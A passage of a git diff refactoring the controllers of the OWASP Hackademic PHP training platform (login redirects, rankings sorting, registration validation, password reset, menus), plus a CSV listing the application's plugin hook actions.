header('Location:'.SOURCE_ROOT_PATH."?url=mainlogin&msg=activate"); + die(); } else { // start the session $session->completeLogin($user); if($user->type){ //error_log("HACKADEMIC:: admin dashboard SUCCESS", 0); //var_dump($_SESSION);//die(); - header('Location:'.SOURCE_ROOT_PATH."admin/pages/dashboard.php"); + header('Location:'.SOURCE_ROOT_PATH."?url=admin/dashboard"); + die(); }else{ //error_log("HACKADEMIC:: USER HOME SUCCESS", 0); - header('Location:'.SOURCE_ROOT_PATH."pages/home.php"); + header('Location:'.SOURCE_ROOT_PATH."?url=home"); + die(); } } } } else { $this->addPageTitle('Log in'); - return $this->generateView(); + return $this->generateView(self::$action_type); } } } diff --git a/controller/class.LogoutController.php b/controller/class.LogoutController.php index 4ab73344..297407b5 100755 --- a/controller/class.LogoutController.php +++ b/controller/class.LogoutController.php @@ -38,6 +38,7 @@ class LogoutController extends HackademicController{ public function go() { Session::logout(); header('Location:'.SOURCE_ROOT_PATH); + die(); } } diff --git a/controller/class.MainLoginController.php b/controller/class.MainLoginController.php index 280513d0..a4331965 100755 --- a/controller/class.MainLoginController.php +++ b/controller/class.MainLoginController.php @@ -37,13 +37,13 @@ class MainLoginController extends HackademicController { + private static $action_type = 'main_login'; + public function go() { $this->setViewTemplate('mainlogin.tpl'); if(isset($_GET["msg"])){ - if($_GET["msg"]=="username"){ - $this->addErrorMessage("The username or password you entered is incorrect"); - } elseif($_GET["msg"]=="password"){ - $this->addErrorMessage("The username or password you entered is incorrect"); + if($_GET["msg"]=="invalid"){ + $this->addErrorMessage("The username and/or password you entered is incorrect"); } elseif($_GET["msg"]=="challenge"){ $this->addErrorMessage("You must be logged in to try a challenge"); } elseif($_GET["msg"]=="activate"){ @@ -51,6 +51,6 @@ public function go() { } } $this->addPageTitle('Log in'); - return $this->generateView(); + return $this->generateView(self::$action_type); } } diff --git a/controller/class.ProgressReportController.php b/controller/class.ProgressReportController.php index 8b336dbf..3a4cabe2 100755 --- a/controller/class.ProgressReportController.php +++ b/controller/class.ProgressReportController.php @@ -41,9 +41,12 @@ require_once(HACKADEMIC_PATH."/model/common/class.Debug.php"); class ProgressReportController extends HackademicController{ + + private static $action_type = 'progress_report'; + public function go() { $this->setViewTemplate('progressreport.tpl'); - if ($this->isAdmin() || $this->isTeacher()) { + if (self::isAdmin() || self::isTeacher()) { $this->addToView('search_box', true); if (isset($_GET['username'])) { $username = $_GET['username']; @@ -55,17 +58,17 @@ public function go() { $user = User::findByUserName($username); if (!$user) { $this->addErrorMessage("You provided an invalid username"); - return $this->generateView(); + return $this->generateView(self::$action_type); } elseif ($user->type) { $this->addErrorMessage("Please select a student!"); - return $this->generateView(); + return $this->generateView(self::$action_type); } - //$challenges_of_user = UserChallenges::getChallengesOfUser($user->id); + $data = array(); $class_ids = array(); $class_scores = array(); $classes_of_user = ClassMemberships::getMembershipsOfUserObjects($user->id); - + //var_dump(UserChallenges::getChallengesOfUser($user->id)); foreach($classes_of_user as $class){ $progress = ChallengeAttempts::getUserProgress($user->id, $class->id); $user_scores = UserScore::get_scores_for_user_class($user->id, $class->id); @@ -74,14 +77,15 @@ public function go() { $class_scores[$class->name] = $data; $class_ids[$class->name] = $class->id; } - + //echo'

';var_dump($class_scores); + //echo'

';var_dump($class_scores); $this->addToView('data', $class_scores); $this->addToView('ids', $class_ids); } else { $this->addErrorMessage("Please select a student to see his progress"); } - return $this->generateView(); + return $this->generateView(self::$action_type); } private function build_scoring_info($class_challenges, $progress_arr, $user_scores){ @@ -106,23 +110,27 @@ private function build_scoring_info($class_challenges, $progress_arr, $user_scor foreach($progress_arr as $chal_prog){ if($challenge['challenge_id'] == $chal_prog->challenge_id){ /* Find its progress*/ $attempts = $chal_prog->tries;/*so we know the attempt count and if and when its cleared*/ - if( 1 === $chal_prog->status){ - $cleared = true; - $cleared_on = $chal_prog->time; - break; + if( 1 === $chal_prog->status){ + $cleared = true; + $cleared_on = $chal_prog->time; + //unset($progress[$chal_prog]); + break; + } } } - } - $arr = array( + $arr = array( 'id' => $challenge['challenge_id'], - 'title' => $challenge['challenge_id'], - 'attempts' => $attempts, - 'cleared' => $cleared, + 'title' => $challenge['title'], + 'attempts' => $attempts, + 'cleared' => $cleared, 'cleared_on' => $cleared_on, 'points' => $pts - ); - array_push($data, $arr); - } + ); + //echo'

';var_dump($arr); + array_push($data, $arr); + + } + //var_dump($cleared_challenges); return $data; } } diff --git a/controller/class.RankingsController.php b/controller/class.RankingsController.php index 1eee387a..440693c6 100755 --- a/controller/class.RankingsController.php +++ b/controller/class.RankingsController.php @@ -33,21 +33,34 @@ require_once(HACKADEMIC_PATH."/model/common/class.ChallengeAttempts.php"); require_once(HACKADEMIC_PATH."/model/common/class.User.php"); require_once(HACKADEMIC_PATH."/model/common/class.UserScore.php"); -require_once(HACKADEMIC_PATH."/admin/model/class.ClassMemberships.php"); require_once(HACKADEMIC_PATH."/controller/class.HackademicController.php"); +require_once(HACKADEMIC_PATH."/admin/model/class.ClassMemberships.php"); +require_once(HACKADEMIC_PATH."/admin/model/class.Classes.php"); class RankingsController extends HackademicController { - + private static $action_type = 'rankings'; + + static function sort_count($rankA, $rankB) { + if ($rankA['score'] == $rankB['score']) { + return ($rankA['last_successful_attempt'] > $rankB['last_successful_attempt']) ? 1 : -1; + } + return ($rankA['score'] < $rankB['score']) ? 1 : -1; + } + public function go() { $this->setViewTemplate("rankings.tpl"); - if ($this->isLoggedIn()) { - $username = $this->getLoggedInUser(); + if (self::isLoggedIn()) { + $username = self::getLoggedInUser(); if (Session::isAdmin() || Session::isTeacher()) { $classes = Classes::getAllClasses(); } else { $user = User::findByUserName($username); $classes = ClassMemberships::getMembershipsOfUserObjects($user->id); + $show_global_rankings = new Classes(); + $show_global_rankings->id = ""; + $show_global_rankings->name = "Show Universal Rankings"; + array_unshift($classes, $show_global_rankings); } $this->addToView('classes', $classes); } @@ -59,44 +72,14 @@ public function go() { $class = Classes::getClass($class_id); if (!$class) { $this->addErrorMessage("Not a valid class"); - return $this->generateView(); + return $this->generateView(self::$action_type); } else { $rankings = ChallengeAttempts::getClasswiseRankings($class_id); } } - $final=array(); - $counter=1; - $rank=1; - $rankcount=1; - $prevcount=null; - - foreach($rankings as $ranking){ - if($ranking['user_id'] != NULL){ - if ($counter !=1 && $prevcount == $ranking['tries']) {$rank=$rankcount; /*$rankcount++;*/} - if ($counter !=1 && $prevcount != $ranking['tries']) {$rankcount++; $rank=$rankcount;} - $user_points = $this->calc_user_pts($ranking['user_id'], $class_id); - $prevcount=$ranking['tries']; - $counter++; - $temp=array('user_id'=>$ranking['user_id'],'count' =>$ranking['tries'],'username'=>$ranking['username'],'rank'=>$rank,'score' => $user_points); - array_push($final,$temp); - } - } - $this->addToView('rankings', $final); - return $this->generateView(); + usort($rankings, array("RankingsController", "sort_count")); + $this->addToView('rankings', $rankings); + $this->addSuccessMessage("Showing Active Users Only"); + return $this->generateView(self::$action_type); } - private function calc_user_pts($user_id, $class_id = -1){ - $points = 0; - - if($class_id == -1){ - $scores = UserScore::get_scores_for_user($user_id); - }else{ - $scores = UserScore::get_scores_for_user_class($user_id, $class_id); - } - if( $scores != false){ - foreach($scores as $score_obj){ - $points += $score_obj->points; - } - } - return $points; - } } diff --git a/controller/class.ReadArticleController.php b/controller/class.ReadArticleController.php index 05121d12..dfaf6c2c 100755 --- a/controller/class.ReadArticleController.php +++ b/controller/class.ReadArticleController.php @@ -33,12 +33,14 @@ require_once(HACKADEMIC_PATH."/model/common/class.Article.php"); require_once(HACKADEMIC_PATH."/controller/class.HackademicController.php"); class ReadArticleController extends HackademicController{ - public function go() { - $id=$_GET['id']; - $article=Article::getArticle($id); + private static $action_type = 'read_article'; + + public function go() { + $id = $_GET['id']; + $article = Article::getArticle($id); $this->addToView('article', $article); $this->setViewTemplate('readarticle.tpl'); - $this->generateView(); + $this->generateView(self::$action_type); } } diff --git a/controller/class.RegisterUserController.php b/controller/class.RegisterUserController.php index b46351e3..fda386dd 100755 --- a/controller/class.RegisterUserController.php +++ b/controller/class.RegisterUserController.php @@ -42,6 +42,7 @@ class RegisterUserController extends HackademicController { public $name; public $email; + private static $action_type = 'register_user'; public function go() { $this->setViewTemplate('register_user.tpl'); @@ -49,6 +50,8 @@ public function go() { $this->saveFormFields(); if ($_POST['username']=='') { $this->addErrorMessage("Username should not be empty"); + } elseif (strpos($_POST['username'], "\0") !== FALSE) { + $this->addErrorMessage("Null Byte characters are not valid"); } elseif ($_POST['full_name']=='') { $this->addErrorMessage("Full name should not be empty"); } elseif ($_POST['password']=='') { @@ -56,17 +59,20 @@ public function go() { } elseif ($_POST['confirmpassword']=='') { $this->addErrorMessage("Please confirm password"); } elseif ($_POST['email']=='') { - $this->addErrorMessage("please enter ur email id"); + $this->addErrorMessage("please enter ur email id"); } else { $username = Utils::sanitizeInput($_POST['username']); $password = $_POST['password']; $confirmpassword=$_POST['confirmpassword']; $full_name = Utils::sanitizeInput($_POST['full_name']); - $email=$_POST['email'];//esapi email encode + $email= Utils::sanitizeInput($_POST['email']); //esapi email encode //$is_activated = $_POST['is_activated']; if (User::doesUserExist($username)) { $this->addErrorMessage("Username already exists"); } + elseif(User::doesEmailExist($email)) { + $this->addErrorMessage("Email already exists"); + } elseif(!($password==$confirmpassword)) { $this->addErrorMessage("The two passwords dont match!"); } @@ -85,12 +91,14 @@ public function go() { $this->addSuccessMessage("You have been registered succesfully"); } } + }else{ + $this->addToView('cached', $this); } - return $this->generateView(); + + return $this->generateView(self::$action_type); } - public function saveFormFields(){ - + public function saveFormFields() { $this->username = Utils::sanitizeInput($_POST['username']); $this->name = Utils::sanitizeInput($_POST['full_name']); $this->email = $_POST['email']; diff --git a/controller/class.ResetPasswordController.php b/controller/class.ResetPasswordController.php index ef9f5c29..fa29f5d0 100755 --- a/controller/class.ResetPasswordController.php +++ b/controller/class.ResetPasswordController.php @@ -1,77 +1,78 @@ -. - * - * - * @author Pragya Gupta - * @author Konstantinos Papapanagiotou - * @license http://www.gnu.org/licenses/gpl.html - * @copyright 2012 OWASP - * - */ -require_once(HACKADEMIC_PATH."controller/class.HackademicController.php"); -require_once(HACKADEMIC_PATH."model/common/class.User.php"); -require_once(HACKADEMIC_PATH."model/common/class.Mailer.php"); -require_once(HACKADEMIC_PATH."model/common/class.Utils.php"); - - -class ResetPasswordController extends HackademicController { - - - public function go() { - $this->setViewTemplate('resetpw.tpl'); - if (isset($_GET['username'])) { - $username=$_GET['username']; - } - if (isset($_GET['token'])) { - $token=$_GET['token']; - } - if(!(User::validateToken($username,$token))){ - $this->addErrorMessage("The token is invalid"); - } - else{ - if (isset($_POST['submit'])) { - if ($_POST['newpassword']=='') { - $this->addErrorMessage("Password should not be empty"); - } elseif ($_POST['confirmnewpassword']=='') { - $this->addErrorMessage("Confirm password field should not be empty"); - } else { - $password = $_POST['newpassword']; - $confirmpassword=$_POST['confirmnewpassword']; - if(!($password==$confirmpassword)) { - $this->addErrorMessage("The two passwords dont match!"); - } - else{ - if(!(User::updatePassword($password,$username))) - $this->addErrorMessage("An error occured while updating the password"); - else{ - $this->addSuccessMessage("Password has been updated successfully!You can now login with your new password"); - } - } - } - } - } - return $this->generateView(); - } -} +. + * + * + * @author Pragya Gupta + * @author Konstantinos Papapanagiotou + * @license http://www.gnu.org/licenses/gpl.html + * @copyright 2012 OWASP + * + */ +require_once(HACKADEMIC_PATH."controller/class.HackademicController.php"); +require_once(HACKADEMIC_PATH."model/common/class.User.php"); +require_once(HACKADEMIC_PATH."model/common/class.Mailer.php"); +require_once(HACKADEMIC_PATH."model/common/class.Utils.php"); + + +class ResetPasswordController extends HackademicController { + + private static $action_type = 'reset_password'; + + public function go() { + $this->setViewTemplate('resetpw.tpl'); + if (isset($_GET['username'])) { + $username=$_GET['username']; + } + if (isset($_GET['token'])) { + $token=$_GET['token']; + } + if(!(User::validateToken($username,$token))) { + $this->addErrorMessage("The token is invalid"); + } + else { + if (isset($_POST['submit'])) { + if ($_POST['newpassword']=='') { + $this->addErrorMessage("Password should not be empty"); + } elseif ($_POST['confirmnewpassword']=='') { + $this->addErrorMessage("Confirm password field should not be empty"); + } else { + $password = $_POST['newpassword']; + $confirmpassword=$_POST['confirmnewpassword']; + if(!($password==$confirmpassword)) { + $this->addErrorMessage("The two passwords dont match!"); + } + else { + if(!(User::updatePassword($password,$username))) { + $this->addErrorMessage("An error occured while updating the password"); + } else { + $this->addSuccessMessage("Password has been updated successfully!You can now login with your new password"); + } + } + } + } + } + return $this->generateView(self::$action_type); + } +} diff --git a/controller/class.ShowChallengeController.php b/controller/class.ShowChallengeController.php index ad45f703..06641627 100755 --- a/controller/class.ShowChallengeController.php +++ b/controller/class.ShowChallengeController.php @@ -38,27 +38,29 @@ class ShowChallengeController extends HackademicController { + private static $action_type = 'show_challenge'; + public function go() { if (isset($_GET['id'])) { if (isset($_GET['class_id'])) - $class_id = $_GET['class_id']; - $id=$_GET['id']; + $class_id = htmlspecialchars($_GET['class_id']); + $id = $_GET['id']; $challenge=Challenge::getChallenge($id); $this->setViewTemplate('showChallenge.tpl'); $this->addToView('challenge', $challenge); - if (!$this->isLoggedIn()) { + if (!self::isLoggedIn()) { $this->addErrorMessage("You must login to be able to take the challenge"); - } else if ($this->isAdmin() || self::IsAllowed($this->getLoggedInUser(), $challenge->id)) { + } else if (self::isAdmin() || self::IsAllowed(self::getLoggedInUser(), $challenge->id)) { $this->addToView('is_allowed', true); - $this->addToView('username', $this->getLoggedInUser()); - $this->addToView('class_id', $class_id); + $this->addToView('username', self::getLoggedInUser()); + $this->addToView('class_id', $class_id); } else { $this->addErrorMessage('You cannot take the challenge as you are not a member of any class to which this challenge is assigned and this challenge is not publicly available for solving .'); } //error_log("HACKADEMIC:Show Challenge controller: path".$_SESSION['hackademic_path'], 0); - $this->generateView(); + $this->generateView(self::$action_type); } } diff --git a/controller/class.TryChallengeController.php b/controller/class.TryChallengeController.php index df224169..bf499d08 100755 --- a/controller/class.TryChallengeController.php +++ b/controller/class.TryChallengeController.php @@ -1,10 +1,7 @@ addToView('id', $id); - $challenge=Challenge::getChallenge($id); - if ($this->isLoggedIn() && ($this->isAdmin() || self::IsAllowed($this->getLoggedInUser(), $challenge->id))) { - $challenge_path = SOURCE_ROOT_PATH."challenges/".$challenge->pkg_name."/"; - $this->addToView('pkg_name', $challenge->pkg_name); - $solution = $challenge->solution; - if (isset($_POST) && count($_POST)!=0) { - //echo '
CHALLENGE WAS SUBMITTED
'; - } - if (!isset($_GET["path"])) { - $url = $challenge_path."index.php"; - }else { - $url = $challenge_path.$_GET['path']; - } - if(isset($_GET['user']) && $_GET['user'] == $this->getLoggedInUser()){ + if(isset($_GET['id'])) { + $id = $_GET['id']; + $class_id = htmlspecialchars($_GET['class_id']); + $this->addToView('id', $id); + $challenge=Challenge::getChallenge($id); + + if(self::isLoggedIn() && (self::isAdmin() || self::IsAllowed(self::getLoggedInUser(), $challenge->id))) { + $challenge_path = SOURCE_ROOT_PATH."challenges/".$challenge->pkg_name."/"; + $this->addToView('pkg_name', $challenge->pkg_name); + $solution = $challenge->solution; + + if (isset($_POST) && count($_POST)!=0) { + //echo '
CHALLENGE WAS SUBMITTED
'; + } + + if (!isset($_GET["path"])) { + $url = $challenge_path."index.php"; + } else { + $url = $challenge_path.$_GET['path']; + } + + if(isset($_GET['user']) && $_GET['user'] == self::getLoggedInUser()) { $usr = $_SESSION['hackademic_user_id']; $url.='?user_id='.$usr."&id=".$id; $url.='&class_id='.$class_id; - $pair = UserHasChallengeToken::findByPair($usr,$id); - if($pair === false){ - error_log("adding new token usr, id".$usr." ".$id); - Global $ESAPI_utils; - $token = $ESAPI_utils->getRandomizer()->getRandomGUID(); - $token = $ESAPI_utils->getEncoder()->encodeForURL($token); - UserHasChallengeToken::add($usr,$id,$token); - $pair = new UserHasChallengeToken(); - $pair->token = $token; - } - $url.='&token='.$pair->token; - //var_dump($pair); - } - header("Location: ".$url); + $pair = UserHasChallengeToken::find($usr,$id,$class_id); + if($pair === false) { + error_log("adding new token usr, id".$usr." ".$id); + Global $ESAPI_utils; + $token = $ESAPI_utils->getRandomizer()->getRandomGUID(); + $token = $ESAPI_utils->getEncoder()->encodeForURL($token); + UserHasChallengeToken::add($usr,$id,$class_id,$token); + $pair = new UserHasChallengeToken(); + $pair->token = $token; + } + $url .= '&token='.$pair->token; + //var_dump($pair); + } + header("Location: ".$url); die(); - }else { - error_log("oh noes, miscelaneous error (BUG)"); - header("Location: ".SITE_ROOT_PATH); + } else { + error_log("oh noes, miscelaneous error (BUG)"); + header("Location: ".SITE_ROOT_PATH); die(); - } + } } $this->setViewTemplate("trychallenge.tpl"); - $this->generateView(); + $this->generateView(self::$action_type); } protected static function isAllowed($username, $challenge_id) { diff --git a/controller/class.UserMenuController.php b/controller/class.UserMenuController.php index 4ab9ddcf..48337d24 100755 --- a/controller/class.UserMenuController.php +++ b/controller/class.UserMenuController.php @@ -30,10 +30,11 @@ * @copyright 2012 OWASP * */ +require_once(HACKADEMIC_PATH . 'model/common/class.Menu.php'); class UserMenuController{ - public function go() { + public static function go() { $menu = self::createMainMenu(); return $menu; } @@ -41,77 +42,16 @@ public function go() { /** * Create Main Menu */ - protected function createMainMenu() { + protected static function createMainMenu() { if(Session::isAdmin()){ - $link0 = array ('title'=>'Home', 'url'=>'admin/'); - $link1 = array ('title'=>'Add New Articles', 'url'=>'admin/pages/addarticle.php'); - $link2 = array ('title'=>'Article Manager', 'url'=>'admin/pages/articlemanager.php'); - $link3 = array ('title'=>'Users/Classes', 'url'=>'admin/pages/usermanager.php'); - $link4 = array ('title'=>'Add New Challenge', 'url'=>'admin/pages/addchallenge.php?type=code'); - $link5 = array ('title'=>'Challenge Manager', 'url'=>'admin/pages/challengemanager.php'); - $link6 = array ('title'=>'Logout', 'url'=>'pages/logout.php'); - - $menu = array( - $link0, - $link1, - $link2, - $link3, - $link4, - $link5, - $link6 - ); + $menu = Menu::getMenu(Menu::ADMIN_MENU)->items; } elseif(Session::isTeacher()) { - /*$link1 = array ('title'=>'Admin Dashboard', 'url'=>'admin'); - $link2 = array ('title'=>'Article Manager', 'url'=>'admin/pages/articlemanager.php'); - $link3 = array ('title'=>'User Manager', 'url'=>'admin/pages/usermanager.php'); - $link4 = array ('title'=>'Create Class', 'url'=>'admin/pages/manageclass.php'); - $link5 = array ('title'=>'Add Challenge', 'url'=>'admin/pages/addchallenge.php'); - $link6 = array ('title'=>'Monitor Students', 'url'=>'pages/progress.php'); - $link7 = array ('title'=>'Logout', 'url'=>'pages/logout.php'); - - $menu = array( - $link1, - $link2, - $link3, - $link4, - $link5, - $link6, - $link7 - );*//*TODO make both admin and teacher menus more sensible*/ - $link0 = array ('title'=>'Admin Dashboard', 'url'=>'admin/'); - $link1 = array ('title'=>'Add New Articles', 'url'=>'admin/pages/addarticle.php'); - $link2 = array ('title'=>'Article Manager', 'url'=>'admin/pages/articlemanager.php'); - $link3 = array ('title'=>'Users/Classes', 'url'=>'admin/pages/usermanager.php'); - $link4 = array ('title'=>'Add New Challenge', 'url'=>'admin/pages/addchallenge.php?type=code'); - $link5 = array ('title'=>'Challenge Manager', 'url'=>'admin/pages/challengemanager.php'); - $link6 = array ('title'=>'Logout', 'url'=>'pages/logout.php'); - - $menu = array( - $link0, - $link1, - $link2, - $link3, - $link4, - $link5, - $link6 - ); - } else {$link0 = array ('title'=>'Home', 'url'=>'index.php'); - $link1 = array ('title'=>'Progress Report', 'url'=>'pages/progress.php'); - $link2 = array ('title'=>'Ranking', 'url'=>'pages/ranking.php'); - $link3 = array ('title'=>'Logout', 'url'=>'pages/logout.php'); - $link4 = array ('title'=>'Challenges', 'url'=>'pages/challengelist.php'); - /*$link5 = array ('title'=>'Global Rankings', 'url'=>'pages/ranking.php');*/ - $menu = array( - $link0, - $link1, - $link2, - $link4, - /*$link5,*/ - $link3 - - ); + $menu = Menu::getMenu(Menu::TEACHER_MENU)->items; + } else { + $menu = Menu::getMenu(Menu::STUDENT_MENU)->items; } return $menu; } + } diff --git a/controller/index.php b/controller/index.php new file mode 100755 index 00000000..e69de29b diff --git a/docs/API docs - Actions.csv b/docs/API docs - Actions.csv new file mode 100755 index 00000000..5eb8710d --- /dev/null +++ b/docs/API docs - Actions.csv @@ -0,0 +1,130 @@ +Action,Description,Parameters,Source +after_create_article,Called when an article has been inserted into the database.,"$id the id of the new row, +$params the params to the query",admin/mode/class.ArticleBackend.php +after_create_challenge,Called when a challenge has been inserted into the database.,"$id the id of the new row, +$params the params to the query",admin/model/class.ChallengeBackend.php +after_create_challenge_attempt,Called when a challenge attempt has been inserted into the database.,"$id the id of the new row, +$params the params to the query",model/common/class.ChallengeAttempts.php +after_create_class,Called when a class has been inserted into the database.,"$id the id of the new row, +$params the params to the query",admin/model/class.Classes.php +after_create_class_challenge,Called when a class challenge has been inserted into the database.,"$id the id of the new row, +$params the params to the query",admin/mode/class.ClassChallenges.php +after_create_user,Called when a user has been inserted into the database.,"$id the id of the new row, +$params the params to the query",model/common/class.User.php +after_create_user_has_challenge_token,"Called when a ""user has challenge token"" has been inserted into the database.","$id the id of the new row, +$params the params to the query",model/common/class.UserHasChallengeToken.php +after_delete_article,Called when an article has been deleted from the database.,$params the params to the query,admin/mode/class.ArticleBackend.php +after_delete_challenge,Called when a challenge has been deleted from the database.,$params the params to the query,admin/model/class.ChallengeBackend.php +after_delete_challenge_attempt,Called when a challenge attempt has been deleted from the database.,$params the params to the query,model/common/class.ChallengeAttempts.php +after_delete_class,Called when a class has been deleted from the database.,$params the params to the query,admin/model/class.Classes.php +after_delete_class_challenge,Called when a class challenge has been deleted from the database.,$params the params to the query,admin/mode/class.ClassChallenges.php +after_delete_class_membership,Called when a class membership has been deleted from the database.,$params the params to the query,admin/mode/class.ClassMemberships.php +after_delete_user,Called when a user has been deleted from the database.,$params the params to the query,model/common/class.User.php +after_read_article,Called when a article has been read from the database.,$params the params to the query,model/common/class.Article.php +after_read_challenge,Called when a challenge has been read from the database.,$params the params to the query,model/common/class.Challenge.php +after_read_challenge_attempt,Called when a challenge attempt has been read from the database.,$params the params to the query,model/common/class.ChallengeAttempts.php +after_read_class,Called when a class has been read from the database.,$params the params to the query,admin/model/class.Classes.php +after_read_class_challenge,Called when a class challenge has been read from the database.,$params the params to the query,admin/mode/class.ClassChallenges.php +after_read_class_membership,Called when a class membership has been read from the database.,$params the params to the query,admin/mode/class.ClassMemberships.php +after_read_user,Called when a user has been read from the database.,$params the params to the query,model/common/class.User.php +after_read_user_challenge,Called when a user challenge has been read from the database.,$params the params to the query,admin/model/class.UserChallenges.php +after_read_user_has_challenge_token,"Called when a ""user has challenge token"" has been read from the database.",$params the params to the query,model/common/class.UserHasChallengeToken.php +after_update_article,Called when an article has been updated in the database.,$params the params to the query,admin/mode/class.ArticleBackend.php +after_update_challenge,Called when a challenge has been updated in the database.,$params the params to the query,admin/model/class.ChallengeBackend.php +after_update_class,Called when a class has been updated in the database.,$params the params to the query,admin/model/class.Classes.php +after_update_class_challenge,Called when a class challenge has been updated in the database.,$params the params to the query,admin/mode/class.ClassChallenges.php +after_update_user,Called when a user has been updated in the database.,$params the params to the query,model/common/class.User.php +after_update_user_has_challenge_token,"Called when a ""user has challenge token"" has been updated in the database.",$params the params to the query,model/common/class.UserHasChallengeToken.php +before_create_article,Called when an article is about to be inserted into the database.,"$sql the base sql query, +$params the params to the query",admin/mode/class.ArticleBackend.php +before_create_challenge,Called when a challenge is about to be inserted into the database.,"$sql the base sql query, +$params the params to the query",admin/model/class.ChallengeBackend.php +before_create_challenge_attempt,Called when a challenge attempt is about to be inserted into the database.,"$sql the base sql query, +$params the params to the query",model/common/class.ChallengeAttempts.php +before_create_class,Called when a class is about to be inserted into the database.,"$sql the base sql query, +$params the params to the query",admin/model/class.Classes.php +before_create_class_challenge,Called when a class challenge is about to be inserted into the database.,"$sql the base sql query, +$params the params to the query",admin/mode/class.ClassChallenges.php +before_create_user,Called when a user is about to be inserted into the database.,"$sql the base sql query, +$params the params to the query",model/common/class.User.php +before_create_user_has_challenge_token,"Called when a ""user has challenge token"" is about to be inserted into the database.","$sql the base sql query, +$params the params to the query",model/common/class.UserHasChallengeToken.php +before_delete_article,Called when an article is about to be deleted from the database.,"$sql the base sql query, +$params the params to the query",admin/mode/class.ArticleBackend.php +before_delete_challenge,Called when a challenge is about to be deleted from the database.,"$sql the base sql query, +$params the params to the query",admin/model/class.ChallengeBackend.php +before_delete_challenge_attempt,Called when a challenge attempt is about to be deleted from the database.,"$sql the base sql query, +$params the params to the query",model/common/class.ChallengeAttempts.php +before_delete_class,Called when a class is about to be deleted from the database.,"$sql the base sql query, +$params the params to the query",admin/model/class.Classes.php +before_delete_class_challenge,Called when a class challenge is about to be deleted from the database.,"$sql the base sql query, +$params the params to the query",admin/mode/class.ClassChallenges.php +before_delete_class_membership,Called when a class membership is about to be deleted from the database.,"$sql the base sql query, +$params the params to the query",admin/mode/class.ClassMemberships.php +before_delete_user,Called when a user is about to be deleted from the database.,"$sql the base sql query, +$params the params to the query",model/common/class.User.php +before_read_article,Called when a article is about to be read from the database.,"$sql the base sql query, +$params the params to the query",model/common/class.Article.php +before_read_challenge,Called when a challenge is about to be read from the database.,"$sql the base sql query, +$params the params to the query",model/common/class.Challenge.php +before_read_challenge_attempt,Called when a challenge attempt is about to be read from the database.,"$sql the base sql query, +$params the params to the query",model/common/class.ChallengeAttempts.php +before_read_class,Called when a class is about to be read from the database.,"$sql the base sql query, +$params the params to the query",admin/model/class.Classes.php +before_read_class_challenge,Called when a class challenge is about to be read from the database.,"$sql the base sql query, +$params the params to the query",admin/mode/class.ClassChallenges.php +before_read_class_membership,Called when a class membership is about to be read from the database.,"$sql the base sql query, +$params the params to the query",admin/mode/class.ClassMemberships.php +before_read_user,Called when a user is about to be read from the database.,"$sql the base sql query, +$params the params to the query",model/common/class.User.php +before_read_user_challenge,Called when a user challenge is about to be read from the database.,"$sql the base sql query, +$params the params to the query",admin/mode/class.UserChallenges.php +before_read_user_has_challenge_token,"Called when a ""user has challenge token"" is about to be read from the database.","$sql the base sql query, +$params the params to the query",model/common/class.UserHasChallengeToken.php +before_update_article,Called when an article is about to be updated in the database.,"$sql the base sql query, +$params the params to the query",admin/mode/class.ArticleBackend.php +before_update_challenge,Called when a challenge is about to be updated in the database.,"$sql the base sql query, +$params the params to the query",admin/model/class.ChallengeBackend.php +before_update_class,Called when a class is about to be updated in the database.,"$sql the base sql query, +$params the params to the query",admin/model/class.Classes.php +before_update_class_challenge,Called when a class challenge is about to be updated in the database.,"$sql the base sql query, +$params the params to the query",admin/mode/class.ClassChallenges.php +before_update_user,Called when a user is about to be updated in the database.,"$sql the base sql query, +$params the params to the query",model/common/class.User.php +before_update_user_has_challenge_token,"Called when a ""user has challenge token"" is about to be updated in the database.","$sql the base sql query, +$params the params to the query",model/common/class.UserHasChallengeToken.php +disable_plugin,Called for each plugin that is disabled,$plugin the name and path to the plugin file,admin/controller/class.OptionsController.php +disable_user_theme,Called when a user theme has been disabled,$theme the name and path of the theme,admin/controller/class.OptionsController.php +enable_plugin,Called for each plugin that is enabled,$plugin the name and path to the plugin file,admin/controller/class.OptionsController.php +enable_user_theme,Called when a user theme has been enabled,$theme the name and path of the theme,admin/controller/class.OptionsController.php +generate_view,Called when a page is about to be passed to Smarty for presentation.,$smarty the smarty object,controller/class.HackademicController.php +show_add_article,Called when the add article page is about to be displayed,$smarty the smarty object,admin/controller/class.AddArticleController.php +show_add_challenge,Called when the add challenge page is about to be displayed,$smarty the smarty object,admin/controller/class.AddChallengeController.php +show_add_class,Called when the add class page is about to be displayed,$smarty the smarty object,admin/controller/class.AddClassController.php +show_add_user,Called when the add user page is about to be displayed,$smarty the smarty object,admin/controller/class.AddUserController.php +show_admin_login,Called when the admin login page is to be displayed.,$smarty the smarty object,admin/controller/class.LoginController.php +show_article_manager,Called when the article manager is about to be displayed.,$smarty the smarty object,admin/controller/class.ArticleManagerController.php +show_challenge_list,Called when the challenge list is about to be displayed.,$smarty the smarty object,controller/class.ChallengeListController.php +show_challenge_manager,Called when the challenge manager is about to be displayed.,$smarty the smarty object,admin/controller/class.ChallengeManagerController.php +show_class_challenges,Called when the class challenges is about to be displayed.,$smarty the smarty object,admin/controller/class.ClassChallengesController.php +show_class_manager,Called when the class manager is about to be displayed.,$smarty the smarty object,admin/controller/class.ClassManagerController.php +show_class_memberships,Called when the class memberships is about to be displayed.,$smarty the smarty object,admin/controller/class.ClassMembershipsController.php +show_dashboard,Called when the dashboard is about to be displayed.,$smarty the smarty object,admin/controller/class.DashboardController.php +show_edit_article,Called when the edit article page is about to be displayed.,$smarty the smarty object,admin/controller/class.EditArticleController.php +show_edit_challenge,Called when the edit challenge page is about to be displayed.,$smarty the smarty object,admin/controller/class.EditChallengeController.php +show_edit_code,Called when the edit code page is about to be displayed.,$smarty the smarty object,admin/controller/class.EditCodeController.php +show_edit_user,Called when the edit user page is about to be displayed.,$smarty the smarty object,admin/controller/class.EditUserController.php +show_forgot_password,Called when the forgot password page is to be displayed.,$smarty the smarty object,controller/class.ForgotPasswordController.php +show_landing_page,Called when the landing page is to be displayed.,$smarty the smarty object,controller/class.LandingPageController.php +show_login,Called when the login page is to be displayed.,$smarty the smarty object,controller/class.LoginController.php +show_main_login,Called when the main login page is to be displayed.,$smarty the smarty object,controller/class.MainLoginController.php +show_progress_report,Called when the progress report page is to be displayed.,$smarty the smarty object,controller/class.ProgressReportController.php +show_rankings,Called when the rankings page is to be displayed.,$smarty the smarty object,controller/class.RankingsController.php +show_read_article,"Called when an article page is to be displayed. +",$smarty the smarty object,controller/class.ReadArticleController.php +show_register_user,Called when the register user page is to be displayed.,$smarty the smarty object,controller/class.RegisterUserController.php 